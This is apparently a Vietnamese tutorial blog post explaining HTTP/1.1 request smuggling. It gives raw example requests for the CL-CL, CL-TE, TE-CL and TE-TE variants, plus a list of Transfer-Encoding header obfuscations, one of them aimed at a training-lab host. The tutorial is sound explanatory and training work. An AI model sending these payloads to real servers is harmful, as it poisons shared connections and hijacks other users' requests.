Khái niệm cơ bản về HTTP request smuggling với HTTP/1.1

  1. 1. Lời nói đầu:
  2. 2. Một vài kiến thức cần nắm:
    1. 2.1. Keep-Alive và Pipelining:
    2. 2.2. Content-Length và Transfer-Encoding:
      1. 2.2.1. Content-Length:
      2. 2.2.2. Transfer-Encoding:
    3. 2.3. Reverse proxy:
    4. 2.4. Khái niệm web cache:
      1. 2.4.1. Có một số loại web cache như sau:
    5. 2.5. Yêu cầu của lỗi HRS:
  3. 3. HTTP request smuggling ở HTTP/1.1
    1. 3.1. CL (Content-Length) không bằng 0 và giả mạo Body:
    2. 3.2. CL-CL:
    3. 3.3. CL-TE
    4. 3.4. TE-CL
    5. 3.5. TE-TE
    6. 3.6. Web cache poisoning thông qua HRS:

Lời nói đầu:

Bài viết này là về khái niệm và cách HRS xảy ra đối với HTTP/1.1, với HTTP/2.0 và thực hành các bạn có thể xem ở bài viết sau.

Một vài kiến thức cần nắm:

Keep-Alive và Pipelining:

Keep-Alive và Pipelining được giới thiệu trong RFC-2616:
Keep-Alive cho phép một kết nối TCP giữa Client và Server được tiếp tục gửi và nhận HTTP requests và responses thay vì mở lại kết nối sau mỗi lần Client yêu cầu. Theo như mình thấy thì một số server sẽ set out timeout cho một kết nối keep-alive, sau khi user 1 yêu cầu đến server và server gửi response về, kết nối vẫn được mở và user khác có thể sử dụng kết nối này. Để bật mode Keep-Alive chúng ta cần thêm trường Connection: Keep-Alive vào request.

Pipelining cho phép client gửi nhiều yêu cầu HTTP một lúc mà không cần đợi phản hồi của server thông qua một kết nối TCP được mở, server sẽ phản hồi theo thứ tự mà request được gửi đi. Để bật mode Pipeline chúng ta cần thêm trường Connection: Pipelining vào request.

Content-Length và Transfer-Encoding:

Content-Length:

Đối với một yêu cầu POST, bắt buộc phải có 1 hoặc hơn trong 3 phương thức Content-Length, Transfer-Encoding, Content-Type và đương nhiên nó phải đúng định dạng.

Content-Length đề cập đến kích thước phần body của một yêu cầu HTTP tính bằng byte. Nếu một tệp văn bản được nén, thì Content-Length của nó sẽ là kích thước được nén. Tiêu đề Content-Length chỉ có ở POST request vì nó có trường nội dung còn GET request thì không.

Transfer-Encoding:

Transfer-Encoding chỉ ra kiểu truyền tải nào được sử dụng để truyền tải nội dung(phần body). Transfer-Encoding có nhiều kiểu truyền tải, nhưng với lỗi HRS chúng ta chỉ cần chú ý đến phương thức Transfer-Encoding: chunked.

Với Transfer-Encoding: chunked Dữ liệu body sẽ được truyền theo từng khối. Bắt đầu bởi một số hex biểu thị số byte của nội dung đầu tiên, tiếp theo sau là data. Tiếp đến là lần lượt những đoạn hex, data như vậy. Để kết thúc nội dung byte cuối cùng sẽ là 0 và theo sau là \r\n. Một \r\n được gọi là một CRLF, độ dài không bao gồm CRLF. Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
Nguồn wiki.
4\r\n (bytes to send)
Wiki\r\n (data)
6\r\n (bytes to send)
pedia \r\n (data)
E\r\n (bytes to send)
in \r\n
\r\n
chunks.\r\n (data)
0\r\n (final byte - 0)
\r\n (end message)

Ở phương thức Transfer-Encoding chúng ta cần nắm cách đếm byte:

  • Nếu dữ liệu trên 1 dòng thì không cần đếm \r\n sau nó.
  • Nếu dữ liệu nhiều dòng như dòng E\r\n (bytes to send) ở trên thì chúng ta cần đếm hết kể cả \r \n (lưu ý \r hay \n chỉ tính là 1 byte), ở dòng cuối cùng của khối data này có \r\n chúng ta sẽ không đếm nó vào.
  • Sau đó chuyển độ dài thành số hex tương ứng.

    Tham khảo thêm về Content-Length và Transfer-Encoding ở RFC-7230.

Reverse proxy:

Reverse Proxy là một loại proxy server, nó đóng vai trò là một server trung gian. Nó tiếp nhận yêu cầu từ user, rồi chuyển tiếp đến các máy chủ khác xử lý yêu cầu đó rồi trả về cho người dùng. Người dùng ở đây chỉ giao tiếp với reverse proxy server mà không biết về sự tồn tại của máy chủ khác.
Cấu trúc của một request từ user đến một máy chủ có tồn tại reverse proxy như sau:

  • user — request —> reverse proxy — request—> back-end server

  • user <— response — reverse proxy <— response — back-end server

Khái niệm web cache:

Web cache sinh ra để nâng cao trải nghiệm người dùng. Khi người dùng yêu cầu như những dữ liệu như HTML, CSS, Javascript, image,…, server có thể sẽ lưu vào web cache để không phải thực hiện lại những truy vấn để lấy những dữ liệu đó, giúp cho việc lấy dữ liệu nhanh hơn, đỡ tốn tài nguyên hơn cho người dùng.

Có một số loại web cache như sau:

Web cache ở phía browser: Sau khi người dùng thực hiện request lần đầu tiên đến server, nếu server hỗ trợ cache ở browser người dùng, dữ liệu sẽ được lưu vào cache ở browser của người dùng (nên xóa lịch sử web hay có mục cache). Khi người dùng request những lần tiếp theo tương tự như yêu cầu đầu tiên, browser chỉ cần lấy từ cache của browser để render ra cho người dùng.

Web cache phía Proxy Server: Nó thường là CDN caching. Nó hoạt động tương tự như browser caching tuy nhiên nơi lưu trữ cache ở đây là CDN server trên toàn thế giới. Ở đây nhiều user có thể dùng chung cache từ server gửi đến máy chủ CDN. Cách hoạt động các bạn có thể tham khảo thêm ở đây.

Web cache phía Reverse Proxy server: Cũng hoạt động tương tự như hai kiểu trên, tuy nhiên cache được lưu trữ ở phía Reverse Proxy.

Video tham khảo thêm về web cache:

Yêu cầu của lỗi HRS:

Để một lỗi HRS xảy ra, trang web cần đáp ứng những yêu cầu sau:

  • Trang web bao gồm hai máy chủ front-end (reverse proxy) và máy chủ back-end.
  • Máy chủ phải hỗ trợ Keep-Alive hoặc Pipelining để yêu cầu có thể gắn với yêu cầu của nạn nhân (Nếu bạn không hiểu thì cứ bỏ qua, đọc phần sau sẽ hiểu)
  • Máy chủ front-end và back-end phân tích các trường Transfer-Encoding, Content-Length không nghiêm ngặt khiến cho quá trình phân tích mắc sai lầm phát sinh lỗi.

HTTP request smuggling ở HTTP/1.1

CL (Content-Length) không bằng 0 và giả mạo Body:

Máy chủ proxy cho phép yêu cầu GET mang nội dung, nhưng máy chủ phía sau không cho phép mang nội dung trong GET request, khi này máy chủ phía sau sẽ trực tiếp bỏ trường Content-Length và không xử lý nó. Từ đây nó sẽ phát sinh ra lỗi HRS.

Ví dụ một request như sau:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

Máy chủ Proxy nhận được yêu cầu, do máy chủ proxy cấu hình sai nên GET request được mang body giả mạo của mình. Sau đó nó sẽ chuyển đến máy chủ phía sau, tại đây nó không chấp nhận trường Content-Length nên nó loại bỏ tạo thành 2 request. Và nếu máy chủ có sử dụng pipelining, nó sẽ xem như là hai yêu cầu riêng biệt.
Yêu cầu thứ nhất:

1
2
GET / HTTP/1.1\r\n
Host: example.com\r\n

Yêu cầu thứ hai:

1
2
GET /secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL:

Kĩ thuật tấn công CL-CL là một yêu cầu HTTP chứa 2 trường Content-Length. Theo RFC-7230, nếu máy chủ nhận được hai yêu cầu Content-Length và giá trị của 2 yêu cầu đó khác nhau thì nó sẽ trả về lỗi 400. Tuy nhiên đôi lúc sẽ có những máy chủ không tuân thủ nghiêm ngặt thông số này và dẫn đến HRS.

Giả sử một kịch bản tấn công sẽ là cả máy chủ proxy và máy chủ gốc đều không trả về lỗi 400, và máy chủ proxy sử dụng trường Content-Length đầu tiên và máy chủ gốc sử dụng trường Content-Length thứ hai.

Ví dụ một request như sau:

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

Phân tích:

  • Máy chủ proxy nhận Content-Length: 8\r\n, dòng thứ 5 trống là một dòng thông thường của yêu cầu POST nên không tính vào phần nội dung, 12345 + \r + \n + a = 8 bytes thõa mãn với trường Content-Lengthnên nó chuyển tiếp yêu cầu đến máy chủ back-end.
  • Máy chủ Back-End nhận trường Content-Length: 7\r\n, sau khi đọc 7 kí tự đầu tiên là hết dòng thứ 6, máy chủ Back-End cho rằng quá trình đọc đã hoàn thành sau đó gửi response về cho client. Lúc này trong bộ đệm còn một kí tự a, máy chủ back-end sẽ xem như đây là một phần của yêu cầu (request) tiếp theo.

Bây giờ giả sử như có một người dùng khác gửi một yêu cầu đến máy chủ:

1
2
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

Dựa trên việc sử dụng lại kết nối TCP giữa máy chủ proxy và máy chủ back-end, a sẽ được kết hợp với yêu cầu này để tạo thành một yêu cầu mới:

1
2
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

Lúc này tại máy khách sẽ nhận được một lỗi aGET request method not found, cho chúng ta biết được rằng HRS đã xảy ra.

CL-TE

Trong trường hợp này, máy chủ Front-End sử dụng Content-Length và máy chủ Back-End sử dụng Transfer-Encoding.

Giả sử một yêu cầu như sau:

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

Máy chủ Front-End nhận trường Content-Length: 6\r\n, dòng thứ 6 không tính vào Content-Length, dòng 7-9 có 0 + \r\n + \r\n + a = 6 bytes thõa mãn, nên yêu cầu được chuyển đến máy chủ back-end.
Máy chủ Back-End nhận Transfer-Encoding: chunked\r\n, khi nhận được cờ 0\r\n và dòng sau là \r\n máy chủ sẽ xem như là phần body đã kết thúc và lúc này kí tự a vẫn còn nằm trong bộ đệm.

Tương tự như CL-CL nếu bây giờ có một yêu cầu gửi đến:

1
2
POST / HTTP/1.1\r\n
Host: example.com\r\n

Nó sẽ gộp kí tự a với request này thành:

1
2
aPOST / HTTP/1.1\r\n
Host: example.com\r\n

Và client sẽ nhận lỗi Unrecognized method aPOST có nghĩa là HRS đã xảy ra.

TE-CL

Máy chủ Front-End sử dụng tiêu đề Transfer-Encoding, máy chủ Back-End sử dụng tiêu đề Content-Length.
Xét request như sau:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

Máy chủ front-end nhận Transfer-Encoding: chunked\r\n, khi đọc đến 0\r\n\r\nở cuối, không có vấn đề gì xảy ra nên máy chủ front-end request đến máy chủ back-end.

Máy chủ back-end nhận trường Content-Length: 4\r\n, vì độ dày chỉ 4 bytes tương đương 12 + \r + \n là đến hết dòng thứ 6, máy chủ back-end sẽ xem là đã kết thúc request và phần còn lại từ dòng 7 trở đi không được xử lý và máy chủ back-end sẽ coi đây là phần bắt đầu của yêu cầu tiếp theo.

1
2
3
4
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

Tại thời điểm này nếu có một yêu cầu khác nó sẽ báo lỗi Unrecognized method aPOST, có nghĩa là HRS đã thành công.

TE-TE

Cả máy chủ front-end và máy chủ back-end đều sử dụng Transfer-Encoding nhưng bằng một cách nào đó chúng ta có thể gây nhầm lẫn cho máy chủ để một trong hai máy chủ front-end và back-end không xử lý Transfer-Encoding như bình thường, khi đó chúng ta có thể khai thác lỗ hỏng CL-TE hoặc TE-CL tùy theo cách xử lý của reverse proxy và back-end.

Một số cách để gây rối cho máy chủ như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Transfer-Encoding: xchunked
Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked


Transfer-Encoding: chunked
Transfer-encoding: cow


Transfer-Encoding
: chunked
Transfer-Encoding
: chunked

Giả sử chúng ta có một request như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

Máy chủ Proxy nhận Transfer-Encoding: chunked\r\n, thấy yêu cầu hợp lệ nó gửi đến máy chủ back-end.
Máy chủ back-end: Lúc này do tồn tại hai trường Transfer-Encoding: chunked\r\nTransfer-encoding: cow\r\n nên khiến máy chủ bị rối, nó không biết nhận cái nào nên có thể bây giờ nó sẽ nhận Content-length: 4\r\n.

5c\r\n = 4bytes nên phần sau được xem như là một yêu cầu khác, và do máy chủ tồn tại pipelining nên nó được coi như là một yêu cầu khác biệt. Lúc này một lỗi Unrecognized method aPOST sẽ được trả về.

Web cache poisoning thông qua HRS:

Tham khảo: